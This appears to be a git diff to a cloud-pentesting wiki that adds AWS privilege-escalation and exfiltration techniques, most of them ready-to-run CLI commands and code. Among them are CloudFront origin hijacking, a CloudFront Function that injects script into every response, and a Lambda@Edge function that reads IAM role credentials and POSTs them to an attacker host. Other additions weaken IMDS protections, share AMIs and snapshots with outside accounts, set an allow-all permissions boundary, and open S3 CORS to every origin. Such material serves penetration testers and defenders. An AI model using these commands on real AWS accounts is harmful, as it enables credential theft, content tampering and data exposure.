- Write pattern analysis (frequency, timing, source identity)
|
||||
- Data drift detection (sudden changes in feature distributions)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
|
||||
@@ -158,3 +160,4 @@ Monitor CloudTrail for suspicious `StartMessageMoveTask` API calls:
|
||||
4. **Encrypt DLQs**: Use SSE-KMS with restricted key policies
|
||||
5. **Regular Cleanup**: Don't let sensitive data accumulate in DLQs indefinitely
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,225 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
An attacker who has cloudfront:UpdateDistribution and cloudfront:GetDistributionConfig permissions can modify a CloudFront distribution’s configuration. They don’t need permissions on the target S3 bucket itself, although the attack is easier if that bucket has a permissive policy that allows access from the cloudfront.amazonaws.com service principal.
|
||||
|
||||
The attacker changes a distribution’s origin configuration to point to another S3 bucket or to a server controlled by the attacker. First they fetch the current distribution configuration:
|
||||
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
|
||||
Then they edit current-config.json to point the origin to the new resource — for example, a different S3 bucket:
|
||||
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
|
||||
Finally, apply the modified configuration (you must supply the current ETag when updating):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Compromised Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Original Content</h1>
|
||||
<p>This page has been modified by CloudFront Functions</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function Code Injection Successful!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Create the malicious function in CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Get the ETag of the function in DEVELOPMENT stage
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Publish the function to LIVE stage
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Package the Lambda@Edge function
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Create the Lambda@Edge function with a privileged role
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Publish a version of the function
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Apply the updated distribution config (must use current ETag)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Trigger the function by requesting the distribution
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -328,4 +328,33 @@ aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
```
|
||||
|
||||
Potential Impact: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
An attacker with the ec2:ModifyInstanceMetadataOptions permission can weaken Instance Metadata Service (IMDS) protections — for example by forcing IMDSv1 (making HttpTokens not required) or increasing HttpPutResponseHopLimit — thereby easing exfiltration of temporary credentials. The most relevant risk vector is raising HttpPutResponseHopLimit: by increasing that hop limit (TTL), the 169.254.169.254 endpoint stops being strictly limited to the VM’s network namespace and can become reachable by other processes/containers, enabling credential theft.
|
||||
|
||||
```bash
|
||||
aws ec2 modify-instance-metadata-options \
|
||||
--instance-id <INSTANCE_ID> \
|
||||
--http-tokens optional \
|
||||
--http-endpoint enabled \
|
||||
--http-put-response-hop-limit 2
|
||||
```
|
||||
|
||||
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
|
||||
|
||||
An attacker with the ec2:ModifyImageAttribute and ec2:ModifySnapshotAttribute permissions can share AMIs or snapshots with other AWS accounts (or even make them public), exposing images or volumes that may contain sensitive data such as configurations, credentials, certificates, or backups. By modifying an AMI’s launch permissions or a snapshot’s create-volume permissions, the attacker allows third parties to launch instances or mount disks from those resources and access their contents.
|
||||
|
||||
To share an AMI with another account:
|
||||
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
To share an EBS snapshot with another account:
|
||||
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -270,6 +270,37 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
|
||||
This permissions allows an attacker to update the permissions boundary of a user, potentially escalating their privileges by allowing them to perform actions that are normally restricted by their existing permissions.
|
||||
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
An actor with iam:PutRolePermissionsBoundary can set a permissions boundary on an existing role. The risk arises when someone with this permission changes a role’s boundary: they can improperly restrict operations (causing service disruption) or, if they attach a permissive boundary, effectively expand what the role can do and escalate privileges.
|
||||
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -193,4 +193,26 @@ aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
An attacker with the s3:PutBucketCORS permission can modify a bucket's CORS (Cross-Origin Resource Sharing) configuration, which controls which web domains may access its endpoints. If they set a permissive policy, any website could make direct requests to the bucket and read responses from a browser.
|
||||
|
||||
This means that, potentially, if an authenticated user for a web app hosted from the bucket visits the attacker's website, the attacker could exploit the permissive CORS policy and, depending on the application, access the user's profile data or even hijack the user's account.
|
||||
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user